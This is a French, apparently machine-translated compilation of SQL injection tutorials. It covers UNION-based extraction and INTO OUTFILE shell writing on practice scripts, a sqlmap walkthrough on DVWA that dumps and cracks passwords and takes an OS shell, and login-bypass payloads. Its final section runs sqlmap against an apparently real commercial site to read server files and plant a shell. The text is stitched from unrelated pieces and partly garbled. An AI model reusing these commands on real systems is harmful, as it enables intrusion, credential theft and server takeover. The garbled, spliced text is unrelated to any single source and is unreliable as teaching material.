Contacts

Instructions d'utilisation de sqlmap. Partie 1 : Bases du travail (GET). Utilisation de base de SQLMap Autres types d'attaques par injection SQL

Salutations, lecteur. Dernièrement, je me suis intéressé à la sécurité Web et, dans une certaine mesure, mon travail est lié à cela. Parce que De plus en plus souvent, j'ai commencé à remarquer des sujets sur divers forums leur demandant de montrer comment tout cela fonctionnait, j'ai donc décidé d'écrire un article. L'article s'adressera à ceux qui n'ont pas rencontré cela, mais qui souhaitent apprendre. Il existe relativement de nombreux articles sur ce sujet sur Internet, mais pour les débutants, ils sont un peu compliqués. Je vais essayer de tout décrire dans un langage clair et des exemples détaillés.

Préface

Pour comprendre cet article, il n’est pas vraiment nécessaire de connaître le langage SQL, mais au moins une bonne patience et un peu de cerveau pour la mémorisation.

Je pense que la simple lecture de l'article ne suffira pas, car... nous avons besoin d'exemples vivants - comme vous le savez, la pratique du processus de mémorisation n'est jamais superflue. Par conséquent, nous allons écrire des scripts vulnérables et nous entraîner sur eux.

Qu’est-ce que l’injection SQL ?
En termes simples, il s'agit d'une attaque contre la base de données, qui vous permettra d'effectuer une action qui n'a pas été prévue par le créateur du script. Exemple tiré de la vie :

Le père a écrit dans une note à sa mère de donner 100 roubles à Vasya et de les mettre sur la table. En retravaillant cela dans un langage SQL comique, nous obtenons :
PRENEZ 100 RUBLES DE VOTRE PORTEFEUILLE ET DONNEZ-LES À Vasya

Puisque le père a mal écrit la note (écriture maladroite) et l’a laissée sur la table, Petya, le frère de Vasya, l’a vue. Petya, étant un hacker, y a ajouté « OR Pete » et le résultat a été la requête suivante :
PRENEZ 100 RUBLES DE VOTRE PORTEFEUILLE ET DONNEZ-LES À Vasya OU Petya

Maman, après avoir lu la note, a décidé qu'elle avait donné de l'argent à Vasya hier et qu'elle avait donné 100 roubles à Petya. Voici un exemple simple d'injection SQL tiré de la vie :) Sans filtrer les données (maman pouvait à peine comprendre l'écriture manuscrite), Petya a réalisé un profit.

Préparation
Pour vous entraîner, vous aurez besoin d'une archive avec les scripts sources de cet article. Téléchargez-le et décompressez-le sur le serveur. Importez également la base de données et définissez les données dans le fichier cfg.php

Rechercher une injection SQL

Comme vous l’avez déjà compris, l’injection provient de données entrantes qui ne sont pas filtrées. L'erreur la plus courante est de ne pas filtrer l'identifiant transmis. Eh bien, grosso modo, mettez des guillemets dans tous les domaines. Qu'il s'agisse d'une requête GET/POST ou même d'un Cookie !

Paramètre de saisie numérique
Pour la pratique, nous avons besoin d'un script index1.php. Comme je l'ai dit ci-dessus, nous insérons des guillemets dans l'identifiant de l'actualité.

Parce que Notre demande n'a pas de filtrage :

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Le script comprendra cela comme

SELECT * FROM news WHERE id=1"

Et cela nous donnera une erreur :
Attention : mysql_fetch_array() s'attend à ce que le paramètre 1 soit une ressource, booléen donné dans C:\WebServ\domains\sqlinj\index1.php à la ligne 16

Si l'erreur n'apparaît pas, les raisons peuvent être les suivantes :

1. L'injection SQL n'est pas là - les guillemets sont filtrés, ou cela vaut simplement la peine d'être converti en (int)
2. La sortie d'erreur est désactivée.

Si vous obtenez toujours une erreur, hourra ! Nous avons trouvé le premier type d'injection SQL - Paramètre d'entrée numérique.

Paramètre d'entrée de chaîne

Nous enverrons des demandes à index2.php. Dans ce fichier, la requête ressemble à :
$utilisateur = $_GET["utilisateur"]; $query = "SELECT * FROM news WHERE user="$user"";

Ici, nous sélectionnons les actualités par nom d'utilisateur, et encore une fois, nous ne filtrons pas.
Là encore nous envoyons une demande avec un devis :

Cela a donné une erreur. D'ACCORD! Cela signifie qu'il existe une vulnérabilité. Pour commencer, cela nous suffit - passons à la pratique.

Agissons

Un peu de théorie

Vous avez probablement hâte d’en tirer autre chose que des erreurs. Tout d'abord, comprenez que le signe " -- " est considéré comme un commentaire en SQL.

ATTENTION! Il doit y avoir des espaces avant et après. Dans l'URL, ils sont transmis sous la forme %20

Tout ce qui vient après le commentaire sera supprimé, c'est-à-dire la demande :
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Cela réussira. Vous pouvez essayer ceci sur le script index2.php en envoyant une requête comme celle-ci :

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Apprendre le paramètre SYNDICAT. En langage SQL le mot clé SYNDICAT utilisé pour combiner les résultats de deux requêtes SQL en une seule table. Autrement dit, pour retirer quelque chose dont nous avons besoin d'une autre table.

Profitons-en

Si le paramètre est « Numérique », alors nous n'avons pas besoin d'envoyer de devis dans la demande et bien sûr de mettre un commentaire à la fin. Revenons au script index1.php.

Passons au script sqlinj/index1.php?id=1 UNION SELECT 1 . Notre requête de base de données ressemble à ceci :
SELECT * FROM news WHERE id=1 UNION SELECT 1
Et il nous a donné une erreur, parce que... pour travailler avec des requêtes de fusion, nous avons besoin du même nombre de champs.

Parce que On ne peut pas influencer leur numéro dans la première requête, il faut alors sélectionner leur numéro dans la seconde pour qu'il soit égal au premier.

Sélection du nombre de champs

La sélection des champs est très simple, il suffit d'envoyer les requêtes suivantes :
sqlinj/index1.php?id=1 UNION SELECT 1,2
Erreur…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Encore une erreur !
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Pas d'erreur! Cela signifie que le nombre de colonnes est de 5.

PAR GROUPE
Il arrive souvent qu'il y ait 20 ou 40 voire 60 champs. Pour ne pas avoir à les trier à chaque fois, on utilise PAR GROUPE

Si la demande
sqlinj/index1.php?id=1 GROUPER PAR 2
n'a montré aucune erreur, ce qui signifie que le nombre de champs est supérieur à 2. Essayons :

Sqlinj/index1.php?id=1 GROUPER PAR 8
Op, on voit une erreur, ça veut dire que le nombre de champs est inférieur à 8.

S'il n'y a pas d'erreur avec GROUP BY 4, et avec GROUP BY 6 il y a une erreur, alors le nombre de champs est 5

Définir des colonnes de sortie
Pour être sûr que rien ne nous soit affiché dès la première requête, il suffit de substituer un identifiant inexistant, par exemple :

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Avec cette action, nous avons déterminé quelles colonnes sont affichées sur la page. Désormais, afin de remplacer ces numéros par les informations nécessaires, vous devez poursuivre la demande.

Sortie de données

Disons que nous savons que la table existe toujours utilisateurs dans lequel les champs existent identifiant, nom Et passer.
Nous devons obtenir des informations sur l'utilisateur avec l'ID=1

Construisons donc la requête suivante :

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utilisateurs WHERE id=1
Le script continue également à afficher

Pour ce faire, nous substituerons les noms des champs à la place des chiffres 1 et 3

Sqlinj/index1.php?id=-1 UNION SELECT nom,2,pass,4,5 FROM utilisateurs WHERE id=1
Nous avons eu ce dont nous avions besoin !

Pour "paramètre d'entrée de chaîne" comme dans le script index2.php vous devez ajouter un guillemet au début et un commentaire à la fin. Exemple:
sqlinj/index2.php?user=-1" UNION SELECT nom,2,pass,4,5 FROM utilisateurs WHERE id=1 --%20

Lecture/écriture de fichiers

Pour lire et écrire des fichiers, l'utilisateur de la base de données doit disposer des droits FILE_PRIV.
Enregistrement de fichiers
En fait, tout est très simple. Pour écrire un fichier, nous utiliserons la fonction FICHIERS.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Super, le dossier a été enregistré chez nous. Ainsi, on peut remplir la mini-coquille :
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DANS OUTFILE "1.php" --%20
Lecture de fichiers
La lecture de fichiers est encore plus facile que l'écriture. Il suffit d'utiliser simplement la fonction FICHIER DE CHARGEMENT, pour le lieu du champ que l'on sélectionne :

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Ainsi, nous avons lu le fichier écrit précédent.

Méthodes de protection

Se protéger est encore plus simple que d’exploiter une vulnérabilité. Filtrez simplement les données. Si vous transmettez des chiffres, utilisez
$id = (int) $_GET["id"];
Comme l'a suggéré l'utilisateur Malroc. Protégez-vous en utilisant des PDO ou des instructions préparées.

Au lieu de compléter

C'est ici que je souhaite terminer ma première partie sur « l'injection SQL pour les débutants ». Dans la seconde, nous examinerons des exemples d’injections plus sévères. Essayez d'écrire des scripts vulnérables et d'exécuter des requêtes vous-même.
Et rappelez-vous, ne faites confiance à aucun utilisateur de votre site.

L'injection SQL est un type d'attaque dans lequel un attaquant modifie la logique de requête SQL d'une application Web, lui permettant de lire/modifier/supprimer des valeurs dans la base de données et parfois d'exécuter du code arbitraire côté serveur. Cet article traite de l'utilitaire populaire sqlmap pour effectuer des injections SQL.

À l’heure actuelle, ce type de vulnérabilité est le plus dangereux de tous. Depuis 7 ans, la ligne directrice du « OWASP TOP-10 » est dirigée par les injections SQL.

Il y a 5 raisons principales à cette vulnérabilité :

  1. Validation insuffisante ou manquante des paramètres d’entrée, notamment la saisie utilisateur. "Tout paramètre d'entrée est mauvais"
  2. Accès déraisonnable et faiblement protégé aux bases de données. Cette catégorie comprend des facteurs tels que : un grand nombre d'administrateurs et de super-utilisateurs (root), un système d'authentification faible, un grand nombre de droits pour les administrateurs secondaires, etc.
  3. Architecture. Utilisation de technologies obsolètes, manque de mesures de contrôle, négligence de la méthodologie de « modélisation des menaces ».
  4. Hérédité d'un code manifestement vulnérable, utilisation de solutions toutes faites avec un faible niveau de sécurité.
  5. Absence d'un niveau approprié d'abstraction du code exécutable à partir des données.

SQLMap.

Types d'injections SQL.

Regardons les types d'injections SQL exploitées par l'utilitaire SQLMap :

  1. Injection SQL aveugle basée sur des booléens
    • Méthode dans laquelle les requêtes et réponses HTTP sont lues caractère par caractère pour détecter les vulnérabilités.
    • Une fois qu'un paramètre vulnérable est détecté, SQLMap remplace ou ajoute des instructions SQL syntaxiquement correctes en attendant que le serveur réponde en exécutant ce code.
    • SQLMap compare la requête valide d'origine avec la réponse d'une requête contenant du code malveillant intégré.
    • SQLMap utilise l'algorithme de bissection ( bissectionnel algorithme) pour récupérer chaque caractère de la réponse en utilisant un maximum de sept requêtes HTTP.
    • Lorsque la réponse n'est pas donnée sous forme de texte pur, SQLMap adapte l'algorithme avec des valeurs plus grandes pour déterminer la réponse.
  2. Injection SQL aveugle basée sur le temps
    • La méthode basée sur le temps elle-même suppose qu'il existe une comparaison basée sur les temps de requête et de réponse en injectant une instruction SQL syntaxiquement correcte dans le paramètre vulnérable.
    • SQLMap utilise des instructions SQL qui mettent la base de données en attente pour qu'elle revienne pendant une durée spécifiée.
    • En utilisant le même algorithme bissectionnel pour afficher caractère par caractère, SQLMap compare le temps de réponse HTTP à la requête d'origine.
  3. Injection SQL basée sur les erreurs
    • SQLMap utilise des instructions SQL qui peuvent provoquer la génération d'erreurs spécifiques.
    • L'utilitaire recherche les erreurs dans la réponse HTTP du serveur.
    • Cette méthode ne fonctionne que si l'application Web est configurée pour divulguer des messages d'erreur.
  4. Requête UNION
    • Instruction SQL d'entrée UNION TOUS SÉLECT .
    • L'injection SQL basée sur les requêtes UNION fonctionne en fonction du comportement de l'application, c'est-à-dire lorsqu'une application transmet le résultat d'une requête SELECT écrite via une boucle ou une ligne d'instructions spécifique qui permet d'écrire la sortie dans le contenu de la page.
    • Dans le cas où la sortie ne passe par aucune boucle pour ou une autre chaîne d'instructions, SQLMap utilise une injection de requête UNION unique.
  5. Requête empilée
    • Utilisation de requêtes pliées. SQLMap ajoute un point-virgule (;) à la valeur du paramètre concerné et ajoute l'instruction SQL qui doit être exécuté.
    • Grâce à cette technique, vous pouvez exécuter des instructions SQL autres que SELECT. Ceci est utile pour manipuler les données, obtenir un accès en lecture et en écriture et enfin être capturé par le système d'exploitation.
  6. Hors bande
    • Cette méthode utilise un canal de communication secondaire ou autre pour afficher les résultats des requêtes exécutées sur l'application concernée.
    • Par exemple, l'insertion se fait dans une application web et un canal secondaire tel que Requêtes DNS, est utilisé pour transférer les données vers le domaine de l'attaquant.

Utilisation basique de SQLMap.

Lancez l'utilitaire (doit être dans la variableCHEMIN ):

$sqlmap

Ou depuis le répertoire des utilitaires :

$ python sqlmap.py

Pour appeler la documentation, utilisez la touche «- h / — aide »:

$ sqlmap --help $ python sqlmap.py –help

Les actions des clés SQLMap dépendent entièrement de ce que l'attaquant souhaite réaliser exactement. La liste de base des actions SQLMap ressemble à ceci :

  • Répertoriez les informations de la base de données telles que le nom, la version et d’autres détails.
  • Sélectionnez une base de données spécifique pour répertorier les informations sur les tables qu'elle contient.
  • Sélectionnez le tableau et répertoriez les informations de la colonne.
  • Sélectionnez une colonne et répertoriez les lignes pour récupérer leurs valeurs.
  • Poursuite de l'exploitation.

Pratique.

Pour notre formation pratique, nous utiliserons Condamner Vulnérable la toile Application (DVWA ou "Maudite application Web vulnérable").

DVWA est une application Web gratuite construite sur des technologies telles que PHP et MySQL, conçue pour former des compétences en pentesting.

Maintenant, nous ne nous intéressons qu'aux injections, mais en général, vous pouvez tester vos capacités dans d'autres vulnérabilités créées sur la base du site officiel. OWASP HAUT -10 .

P.S. : Cette pratique suppose que vous ayez une connaissance des bases de Linux, un niveau initial d'anglais et la capacité d'utiliser Google (si vous n'avez pas les compétences ci-dessus).

Installation:

  • Téléchargez l'application et suivez les instructions ;
  • Changez le niveau de difficulté en FAIBLE ;
  • Nous ne nous intéressons qu'aux onglets « SQL Injection » ;

Donnée initiale:

  • Serveur Web sur un réseau privé
  • URL vulnérable : http:// ton hôte . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Paramètre vulnérable : identifiant

Alors, commençons:

  1. Nous confirmons la disponibilitéSQL injections :
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Explication de la commande :

— url – URL avec le paramètre supposé vulnérable. Il est important de noter que la variable de cette clé est écrite entre guillemets, car L'URL en cours de vérification comporte plusieurs paramètres transmis. Sinon, vous pouvez ignorer les guillemets et utiliser la version courte de la clé “- toi sans signe égal .

- cookie – Cookie de session pour un accès direct lors d'une attaque (clé facultative).

Conclusion:

Analyse:

  • L'application est vulnérable à l'injection SQL
  • Type d'injection – Requête UNION
  • Base de données back-end (SGBD) – MySQL5
  • Détails techniques du système d'exploitation - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Nous listons les noms des bases de données :
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Explication de la commande :

—dbs – clé pour lister les bases de données disponibles.

Conclusion:

Analyse: SQLMap a répertorié les bases de données disponibles (7 au total).

  1. Nous listons les noms des tables (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Explication de la commande :

-D – Spécifiez la base de données qui nous intéresse.

--tables – Répertorie les tables disponibles dans la base de données.

Conclusion:

Analyse: Comme nous pouvons le voir, SQLMap a réussi à répertorier les noms de 2 tables dans la base de données dvwa .

  1. Liste supplémentaire des noms de colonnes du tableau "utilisateurs ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T utilisateurs – colonnes

Explication de la commande :

-T – Indiquez le tableau qui nous intéresse.

—columns – Répertorie les colonnes disponibles dans le tableau.

Conclusion:

Analyse: Comme nous pouvons le voir, SQLMap a réussi à répertorier les noms de 6 colonnes dans le tableau utilisateurs, bd dvwa .

  1. Nous listons/tirons les valeurs du tableau »utilisateurs ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T utilisateurs -C identifiant_utilisateur,utilisateur,mot de passe --dump

Explication de la commande :

C – Indiquez les colonnes qui nous intéressent.

--dump – Vide les valeurs des colonnes répertoriées.

Conclusion:

Analyse: Sur la base de la réponse de SQLMap, nous notons les points suivants :

  • SQLMap récupère les enregistrements des colonnes spécifiées, puis analyse les données contenues dans ces colonnes.
  • Une fois que les données sont reconnues comme des hachages de mot de passe possibles, SQLMap tente de déchiffrer le hachage à l'aide de divers algorithmes de hachage.
  • Dans ce cas, le hachage est MD5, donc avec la toute première technique de hachage utilisée par l'outil, il peut réussir à déchiffrer les hachages et produire une réponse bien formatée.
  • De plus, l'outil enregistre les entrées répertoriées dans un format de fichier « .csv » pour une utilisation ultérieure ; Vous n'avez donc pas besoin de vider les données dans un fichier texte ou de prendre une capture d'écran, SQLMap s'en chargera.
  1. Poursuite de l'exploitation et reprise du serveur (ASPIC. , non inclusDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Explication de la commande :

—data – Spécifiez les paramètres de test envoyés dans la requête POST.

—os —shell – Clé spéciale pour tenter d'exploiter la console du serveur via l'injection SQL.

Conclusion:

Analyse: Sur la base de la réponse de SQLMap, nous notons les points suivants :

  • Après avoir confirmé et exploité l'injection SQL, SQLMap vérifie si l'utilisateur est un DBA (Data Base Administrator).
  • L'outil a ensuite essayé d'utiliser une procédure stockée étendue - "xp_cmdshell", couramment utilisée par SQL Server 2000.
  • "xp_cmdshell" est utilisé pour exécuter la ligne de commande donnée en tant que commande du système d'exploitation. À son tour, il affiche le résultat sous forme de texte standard.

Avantages d’obtenir un niveau d’accès au système plus approfondi :

  • Accès aux informations d'identification des utilisateurs ou aux hachages de mots de passe.
  • Un shell interactif qui vous permettra d'uploader ou de télécharger des fichiers depuis le serveur.
  • Exécutez les commandes d'axe (OS) pour explorer le réseau interne.
  • Possibilité de télécharger des logiciels malveillants.
  • Exploitation ultérieure à l'aide de Metasploit Framework.
  • Création et remplissage de portes dérobées.

Bonnes pratiques et utilisation avancée.

  1. Carte SQL EtSAVON (Simple Objet Accéder Protocole ) demandes : Le processus d'analyse des requêtes SOAP est assez simple :
    • Capturez votre demande SOAP.
    • Enregistrez-le dans un fichier texte avec d'éventuels paramètres vulnérables.
    • Utilisez la commande ci-dessous pour SQLMap avec l'option -p si vous connaissez le paramètre vulnérable :
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap analysera automatiquement la requête SOAP et tentera de pénétrer le paramètre vulnérable.
  1. Carte SQL EtJSON (Javascript Objet Notation ) demandes : Dans des scénarios similaires d'utilisation de SQLMap pour les requêtes SOAP, les requêtes JSON peuvent également être analysées et exploitées. Pour un type de requête JSON, SQLMap vous proposera d'exploiter la vulnérabilité en détectant le type de requête JSON dans le « fichier de requête ». Une fois que vous aurez répondu oui, l’outil analysera la requête et choisira son propre vecteur d’attaque.
  2. Carte SQL et serveur proxy : Les réseaux d'entreprise sont généralement sécurisés et surveillés à l'aide de proxys contrôlés pour tout le trafic entrant ou sortant. Dans de tels cas, vous avez la possibilité d'ajouter une option proxy directement à l'option SQLMap pour communiquer avec l'URL cible. Bien que SQLMap soit un outil en ligne de commande, il communique via le protocole HTTP, donc si vous définissez un proxy HTTP pour la connexion Internet correspondante, SQLMap le prendra comme base :
$ ./sqlmap.py --proxy=http:// :
  1. Carte SQL EtWAF (la toile Application Pare-feu ): WAF est une couche de protection supplémentaire pour les applications Web, compliquant considérablement l'analyse et le fonctionnement à l'aide des méthodes standard disponibles dans SQLMap. A cet effet, il existe une fonction « tamper-script », qui simplifie grandement le travail avec les applications Web situées derrière un WAF.
  2. Carte SQL et anonymat : Si vous souhaitez masquer votre identité et vous faire passer pour anonyme auprès de l'application cible, vous pouvez utiliser le serveur proxy TOR (The Onion Router). Dans SQLMap, vous pouvez configurer le proxy TOR pour masquer la source à partir de laquelle le trafic ou la demande est généré avec les clés suivantes :
    • tor basculer l'utilitaire en mode proxy TOR.
    • tor taper configuration manuelle du protocole proxy TOR (HTTP /SOCKS 4/4a /5).
    • vérifier tor vérifier la fonctionnalité du proxy TOR

L'injection SQL est une attaque qui exploite des instructions SQL dynamiques en commentant certaines parties d'instructions ou en ajoutant une condition qui sera toujours vraie. Il cible les failles de l'architecture des applications Web et utilise des instructions SQL pour exécuter du code SQL malveillant :

Dans cet article, nous examinerons les techniques utilisées dans les injections SQL et comment protéger les applications Web contre de telles attaques.

Comment fonctionne l'injection SQL

Les types d'attaques pouvant être menées à l'aide de l'injection SQL varient en fonction du type de moteurs de base de données concernés. L'attaque cible les instructions SQL dynamiques. Une instruction dynamique est une instruction créée au moment de l'exécution en fonction des paramètres d'un formulaire Web ou d'une chaîne de requête URI.

Considérez une simple application Web avec un formulaire de connexion. Le code du formulaire HTML est ci-dessous :

  • Le formulaire accepte une adresse email puis le mot de passe est envoyé dans un fichier PHP appelé index.php ;
  • La session est stockée dans un cookie. Cette fonctionnalité est activée en vérifiant l'indicateur Remember_me. La méthode post est utilisée pour envoyer des données. Cela signifie que les valeurs ne sont pas affichées dans l'URL.

Supposons que la demande de vérification de l'ID utilisateur côté serveur ressemble à ceci :

  • La requête utilise directement les valeurs du tableau $_POST sans les nettoyer ;
  • Le mot de passe est crypté à l'aide de l'algorithme MD5.

Nous examinerons une attaque utilisant l'injection SQL sqlfiddle. Ouvrez l'URL http://sqlfiddle.com/ dans votre navigateur. La fenêtre suivante apparaîtra à l'écran.

Remarque : Vous devrez écrire des instructions SQL :

Étape 1 : Saisissez ce code dans le panneau de gauche :

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)) ; insérer dans les valeurs des utilisateurs (e-mail, mot de passe) (" [email protégé]",md5("abc"));

Étape 2 : Cliquez sur le bouton Construire un schéma».
Étape 3 : Entrez le code ci-dessous dans le volet de droite :

sélectionnez * parmi les utilisateurs ;

Étape 4 : Cliquez sur " Exécuter SQL" Vous verrez le résultat suivant :

Supposons que l'utilisateur fournisse une adresse e-mail [email protégé] et 1234 comme mot de passe. La requête qui doit être exécutée sur la base de données pourrait ressembler à ceci :

L'exemple de code d'injection SQL ci-dessus peut être contourné en commentant une partie du mot de passe et en ajoutant une condition qui sera toujours vraie. Supposons qu'un attaquant insère les données suivantes dans le champ de l'adresse email :

[email protégé]" OU 1 = 1 LIMITE 1 -- " ]

et xxx dans le champ mot de passe.

L'instruction dynamique générée ressemblera à ceci :

  • [email protégé] se termine par un guillemet simple, qui termine la chaîne ;
  • OR 1 = 1 LIMIT 1 est une condition qui sera toujours vraie et limite les résultats renvoyés à un seul enregistrement.

0 ; ' AND ... est un commentaire SQL qui exclut la partie mot de passe.

Copiez la requête ci-dessus et collez-la dans la zone de texte FiddleRun SQL comme indiqué ci-dessous :

Activité de hacker : injections SQL dans des applications Web

Nous disposons d'une application Web simple disponible sur http://www.techpanda.org/ qui est spécialement rendue vulnérable aux attaques par injection SQL pour les débutants à des fins de démonstration. Le code du formulaire HTML indiqué ci-dessus provient de la page d'autorisation de cette application.

Il fournit une sécurité de base telle que la désinfection des champs de courrier électronique. Cela signifie que le code ci-dessus ne peut pas être utilisé pour contourner ce mécanisme.

Pour contourner cela, vous pouvez utiliser le champ du mot de passe. Le schéma ci-dessous montre les étapes à suivre :

Supposons que l'attaquant fournisse les données suivantes :

Étape 1 : Entrez [email protégé] comme adresse e-mail ;
Étape 2 : Saisissez xxx’) OU 1 = 1 - ] ;

Clique sur le bouton « Soumettre ».

Il sera envoyé au panneau d'administration. La requête générée ressemblera à ceci :

Le schéma ci-dessous montre comment la requête a été générée :

Ici:

  • La requête suppose que le cryptage md5 est utilisé ;
  • Un guillemet simple fermant et une parenthèse sont utilisés ;
  • Une condition est ajoutée à l'opérateur qui sera toujours vraie.

En règle générale, les attaquants tentent d'utiliser plusieurs méthodes différentes dans une attaque par injection SQL pour atteindre leurs objectifs.

Autres types d'attaques par injection SQL

Les injections SQL peuvent causer bien plus de dégâts que la connexion à un système en contournant le mécanisme d'autorisation. Certaines de ces attaques peuvent :

  • Effectuer la suppression des données ;
  • Effectuer la mise à jour des données ;
  • Ajouter des données ;
  • Exécuter des commandes sur le serveur qui téléchargeront et installeront des programmes malveillants ;
  • Exportez des données précieuses telles que les détails de la carte de crédit, les e-mails et les mots de passe vers le serveur distant de l'attaquant.

La liste ci-dessus n'est pas complète. Cela donne simplement une idée des dangers que représentent les injections SQL.

Outils pour automatiser les injections SQL

Dans l’exemple ci-dessus, nous avons utilisé des méthodes d’attaque manuelle. Avant d'effectuer une injection SQL, vous devez comprendre qu'il existe des outils automatisés qui vous permettent de mener des attaques plus efficacement et plus rapidement :

  • SQLSmack ;
  • SQLPing2 ;
  • SQLMap.

Comment empêcher les injections SQL

Voici quelques règles simples pour vous protéger contre les attaques par injection SQL :

Il ne faut pas faire confiance aux entrées de l'utilisateur. Il doit toujours être nettoyé avant que les données ne soient utilisées dans des opérations SQL dynamiques.

Procédures stockées- Ils peuvent encapsuler des requêtes SQL et traiter toutes les données d'entrée en tant que paramètres.

Requêtes préparées- Les requêtes sont créées en premier, puis toutes les données utilisateur fournies sont traitées en tant que paramètres. Cela n'affecte pas la syntaxe des instructions SQL.

Expressions régulières- peut être utilisé pour détecter le code potentiellement malveillant et le supprimer avant d'exécuter des instructions SQL.

Droits d'accès pour se connecter à la base de données- à se protéger contre les injections SQL, les comptes utilisés pour se connecter à la base de données doivent se voir accorder uniquement les droits d'accès nécessaires. Cela permettra de limiter les actions que les instructions SQL peuvent effectuer sur le serveur.

Messages d'erreur- ne doit pas divulguer d'informations confidentielles. Messages d'erreur personnalisés simples tels que " Désolé, une erreur technique s'est produite. L'équipe d'assistance en a déjà été informée. Veuillez réessayer plus tard" peut être utilisé au lieu d'afficher les requêtes SQL à l'origine de l'erreur.

Divulgacher: .ZEN

Nous avons une injection SQL sur le site qui ressemble à ceci :

La première chose que nous voulons faire est de vérifier si nous avons les privilèges pour écrire des fichiers sur la ressource attaquée ; pour ce faire, chargez le terminal et exécutez la commande suivante :

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Nous appuyons sur Entrée et l'analyse de notre injection SQL commence, le rapport ressemble à ceci :

Comme vous pouvez le voir dans le rapport, la version d'Apache, la version de MySQL et la version de l'OS installée sur le serveur sont écrites, tout cela nous sera utile dans le futur, mais surtout, vous pouvez voir que nous avons le droit d'écrire des fichiers, cela est affiché dans la ligne L'utilisateur actuel est DBA : True

La prochaine étape pour nous consiste à obtenir les chemins pour enregistrer notre shell. Nous pouvons obtenir le chemin d'accès à notre site sur le serveur en téléchargeant le fichier httpd.conf. Nous obtenons des informations sur l'emplacement du fichier httpd.conf en utilisant Google, vous pouvez effectuer une recherche par la version du système d'exploitation installée ou par la liste des chemins les plus probables. En général, je n'entrerai pas dans les détails de la navigation sur les moteurs de recherche, juste au moment où vous avez découvert l'emplacement le plus probable du chemin d'accès au fichier, alors il est temps de télécharger ce même fichier sur votre disque, pour ce faire, saisissez ce qui suit commande et demande de lecture du fichier sur le serveur :

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Notons tout de suite qu'il n'est pas toujours possible de trouver ce fichier de configuration du premier coup, vous pouvez donc utiliser les chemins les plus probables où ce fichier peut se trouver :

LISTE DES CHEMINS POSSIBLES VERS LE FICHIER DE CONFIG :

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Nous recevons un rapport de sqlmap sous la forme suivante :

Comme vous pouvez le constater, sqlmap nous a indiqué que le fichier a la même taille que le fichier sur le serveur, nous avons donc le droit de lire ce fichier. S'il n'y avait pas suffisamment de droits pour lire ce fichier, une erreur apparaîtrait indiquant que le fichier enregistré sur notre machine a une taille différente de celle du fichier sur le serveur, ou qu'il n'y a pas de fichier sur le serveur au chemin que nous avons spécifié et qu'il n'y en a jamais. a été. Sqlmap a enregistré notre fichier dans les fichiers de rapport, et pour le lire, nous devons lancer le gestionnaire de fenêtres. Pour lancer le gestionnaire de fenêtres, nous ouvrons une autre fenêtre de terminal et saisissons la commande :

Ensuite, dans le gestionnaire qui s'ouvre, on suit le chemin où sqlmap a ajouté le fichier, c'est à dire :
/root/.sqlmap/output/sacoor.com
Ensuite, passez le curseur sur le fichier, appuyez sur la touche F3 du clavier et lisez le fichier de configuration Apache :

À partir de notre fichier de configuration, nous voyons que notre site se trouve sur le serveur au chemin suivant :
/accueil/sbshop/site/

Maintenant que nous avons un peu d'informations, nous pouvons essayer de remplir le shell, pour cela nous saisissons la commande suivante :

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

